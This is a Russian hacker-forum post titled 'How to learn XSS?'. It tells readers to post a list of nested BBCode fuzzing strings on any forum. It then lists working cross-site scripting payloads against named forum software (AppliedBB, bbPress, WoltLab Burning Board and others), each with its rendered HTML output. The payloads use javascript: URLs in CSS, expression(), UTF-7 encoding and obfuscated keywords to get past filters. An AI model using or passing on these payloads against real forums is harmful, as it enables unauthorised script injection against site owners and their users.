Форум АНТИЧАТ - Как научится Xss?

Как научится XSS?

А вот так,

Берем вот эту комбинацию, и суём на любой форум.

Код HTML:

[url]http://www.wj'"`.com[/url]

[url=http://www.wj'"`.com]wj[/url]

[email]wj@wj'"`.com[/email]

[email=wj@wj'"`.com]wj[/email]

[img]http://www.wj'"`.gif[/img]



[url]http://www.wj1[url]http://www.wj1.com[/url].com[/url]

[url=http://www.wj2[url]http://www.wj2.com[/url].com]wj2[/url]

[email]wj3@wj3[url]http://www.wj3.com[/url].com[/email] 

[email=wj4@wj4[url]http://www.wj4.com[/url].com]wj4[/email]

[img]http://www.wj5[url]http://www.wj5.com[/url].gif[/img]



[url]http://www.wj6[url=http://www.wj6.com]wj6[/url].com[/url]

[url=http://www.wj7[url=http://www.wj7.com]wj7[/url].com]wj7[/url]

[email]wj8@wj8[url=http://www.wj8.com]wj8[/url].com[/email]

[email=wj9@wj9[url=http://www.wj9.com]wj9[/url].com]wj9[/email]

[img]http://www.wj10[url=http://www.wj10.com]wj10[/url].gif[/img]



[url]http://www.wj11[email]wj11@wj11.com[/email].com[/url]

[url=http://www.wj12[email]wj12@wj12.com[/email].com]wj12[/url]

[email]wj13@wj13[email]wj13@wj13.com[/email].com[/email]

[email=wj14@wj14[email]wj14@wj14.com[/email].com]wj14[/email]

[img]http://www.wj15[email]wj15@wj15.com[/email].gif[/img]



[url]http://www.wj16[email=wj16@wj16.com]wj16[/email].com[/url]

[url=http://www.wj17[email=wj17@wj17.com]wj17[/email].com]wj17[/url]

[email]wj18@wj18[email=wj18@wj18.com]wj18[/email].com[/email]

[email=wj19@wj19[email=wj19@wj19.com]wj19[/email].com]wj19[/email]

[img]http://www.wj20[email=wj20@wj20.com]wj20[/email].gif[/img]



[url]http://www.wj21[img]http://www.wj21.gif[/img].com[/url]

[url=http://www.wj22[img]http://www.wj22.gif[/img].com]wj22[/url]

[email]wj23@wj23[img]http://www.wj23.gif[/img].com[/email]

[email=wj24@wj24[img]http://www.wj24.gif[/img].com]wj24[/email]

[img]http://www.wj25[img]http://www.wj25.gif[/img].gif[/img]

Вот результат,

Иду по списку... :rolleyes:

http://www.foruminsider.com/index.php?act=directory

Цитата:

Alert.

Код HTML:

<dbml:font face="Edwardian "wj style=display:none;background:url(javascript:alert())>

Result.

Код HTML:

<FONT face="Edwardian "wj style=display:none;background:url(javascript:alert())>

[QUOTE]Powered by AppliedBB[.QUOTE] = Unrealesed.

Цитата:

Alert.

Код HTML:

[img]http://www.wj[img]http://www.wj.gif`=`[/img][/img]`style=`display:none;background:url(javascript:alert())`

Result.

Код HTML:

<img src="http://www.wj<img src="http://www.wj.gif`=` border=0 />" border="0" />`style=`display:none;background:url(javascript:alert())`

Цитата:

Forum Software © ASPPlayground.NET Advanced Edition

Alert.

Код HTML:

[url]http://www.wj6[url=http://www.wj6.com`=`][/url][/url]`style=`display:none;background:url(javascript:alert())`

Result.

Код HTML:

<a href="http://www.wj6<a href="http://www.wj6.com`=`" target="_blank">" target="_blank">http://www.wj6<a href="http://www.wj6.com`=`" target="_blank"></a></a>`style=`display:none;background:url(javascript:alert())`

Цитата:

Alert.

Код HTML:

+ADw-/title+AD4APA-script+AD4-alert(/WJ/)+ADsAPA-/script+AD4-

Result.

Код HTML:

+ADw-/title+AD4APA-script+AD4-alert(/WJ/)+ADsAPA-/script+AD4-

Comment: Тегов нет, но в мессаге и в названии темы, XSS атака UTF-7 проходит.

Цитата:

Alert.

Код HTML:

[email]wj18@wj18[email=wj18@wj18.com`=`]wj18[/email].com[/email]`style=`display:none;background:url(javascript:alert())`

Result.

Код HTML:

<a href="mailto:wj18@wj18<a href="mailto:wj18@wj18.com`=`">wj18">wj18@wj18[email=wj18@wj18.com`=`]wj18</a>.com</a>`style=`display:none;background:url(javascript:alert())`[/email]

Код HTML:

[email]wj8@wj8[url=http://www.wj8.com/style=background:expression(alert());]wj8[/url].com









        Цитата:


        

        

                

        

        

                        


                        

                                Powered by: bbPress

                        

                        


                


 = Unrealesed.









        Цитата:


        

        

                

        

        

                        


                        

                                Forum Software: Burning Board 2.3.3, Developed by WoltLab GmbH

                        

                        


                


Alert.



[HTML]wj8@wj8<a href="http://www.wj8.com/s...k">wj8</a>.com/[HTML]



Result.





        Код HTML:


        
<a href="mailto:wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com">wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com</a>








        Цитата:


        

        

                

        

        

                        


                        

                                Powered by Burning Board Lite 1.0.2 © 2001-2004 WoltLab GmbH

English Translation by Satelk

                        

                        


                


Alert.

Result.

Код HTML:

<a href="mailto:wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com">wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com</a>

Цитата:

Alert.

Код HTML:

[url=http://www.wj17[email=wj17@wj17`=`]wj17[/url]

[/email]

Код HTML:

[url=http://www.wj17[email=wj17@wj17`=`].com]wj17[/url]` style=`background:url(javaSCrip        t:alert(/Hi_from_Algol/))`

[email]wj18@wj18[email=wj18@wj18.com]wj18[/email].com[/email]

Result.

Код HTML:

<table width='95%' align='center' cellpadding='3' cellspacing='1' class='table'><tr><td class='type_t'><br><a target='_new' href="http://www.wj17<a href="mailto:wj17@wj17`=`">wj17[/email">.com]wj17</a>` style=`background:url(javaSCrip        t:alert(/Hi_from_Algol/))`<br>[email]wj18@wj18[email=wj18@wj18.com]wj18</a>.com[/email]<br></td></tr></table>

Цитата:

Alert.

Код HTML:

[url]http://www.wj21[img]http://www.wj21/style=`background:url(javascript:alert(/Hi_from_Algol/))`.gif[/img].com[/url]

Result.

Код HTML:

<a href="http://www.wj21<img src="http://www.wj21/style=`background:url&#x28;javascript:alert&#x28;/Hi_from_Algol/&#x29;&#x29;`.gif" alt="" style="border: 0;" />.com" target="_blank">http://www.wj21<img src="http://www.wj21/style=`background:url&#x28;javascript:alert&#x28;/Hi_from_Algol/&#x29;&#x29;`.gif" alt="" style="border: 0;" />.com</a>

Цитата:

Alert.

Код HTML:

[email]wj3@wj3[url]http://www.wj3.com`=`[/url].com[/email]`style=`background:url(javascript:alert(/wj/));`

Result.

Код HTML:

<font class="mfont"><a href="mailto:wj3@wj3<a href="http://www.wj3.com`=`">http://www.wj3.com`=`</a>.com">wj3@wj3<a href="http://www.wj3.com`=`">http://www.wj3.com`=`</a>.com</a>`style=`background:url(javascript:alert(/wj/));`     </font>

Цитата:

Alert.

Код HTML:

[email]wj3@wj3[url]http://www.wj3.com`=`[/url].com[/email]`style=`background:url(javascript:alert(/wj/));`

Result.

Код HTML:

<font class=ntext><a href="mailto:wj3@wj3<a href="http://www.wj3.com`=`?session=S2jGuGVITxFMy4Xk10fK8dc5jy" target=_top>http://www.wj3.com`=`</a>.com">wj3@wj3<a href="http://www.wj3.com`=`?session=S2jGuGVITxFMy4Xk10fK8dc5jy" target=_top>http://www.wj3.com`=`</a>.com</a>`style=`background:url(javascript:alert(/wj/));`</font>

Цитата:

Alert.

Код HTML:

[email=wj@wj.com wj=`]wj[/email]`style=`background:url(javascript:alert(/wj/));`

Result.

Код HTML:

<email=wj@wj.com wj=`>wj</email>`style=`background:url(javascript:alert(/wj/));`</ul>

Цитата:

Alert.

Код HTML:

[email=wj@wj'"`.com wj=`]wj[/email]` style=`background:url(javaSCrip t:alert(/Hi_from_Algol/))`

Result.

Код HTML:

<blockquote>

         <email=wj@wj'"`.com wj=`>wj</email>` style=`background:url(javaSCrip        t:alert(/Hi_from_Algol/))`

         </blockquote>

Цитата:

Alert.

Код HTML:

[img]http://www.wj10[url=http://www.wj10.com`=`]wj10[/url].gif[/img]` style=`dysplay:none;background:url(javaSCript:alert(/Hi_from_Algol/))`

Result.

Код HTML:

<img src="http://www.wj10<a href="http://www.wj10.com`=`" title="www.wj10.com`=`" target="_new">wj10</a>.gif" border="0">` style=`dysplay:none;background:url(javaSCript:alert(/Hi_from_Algol/))`

Цитата:

Alert.

Код HTML:

[img]http://www.wj10[url=http://www.wj10.com`=`]wj10[/url].gif[/img]` style=`dysplay:none;background:url(javaSCript:alert(/Hi_from_Algol/))`

Result.

Код HTML:

<img src="http://www.wj10<a href="http://www.wj10.com`=`" title="www.wj10.com`=`" target="_new">wj10</a>.gif" border="0">` style=`dysplay:none;background:url(javaSCript:alert(/Hi_from_Algol/))`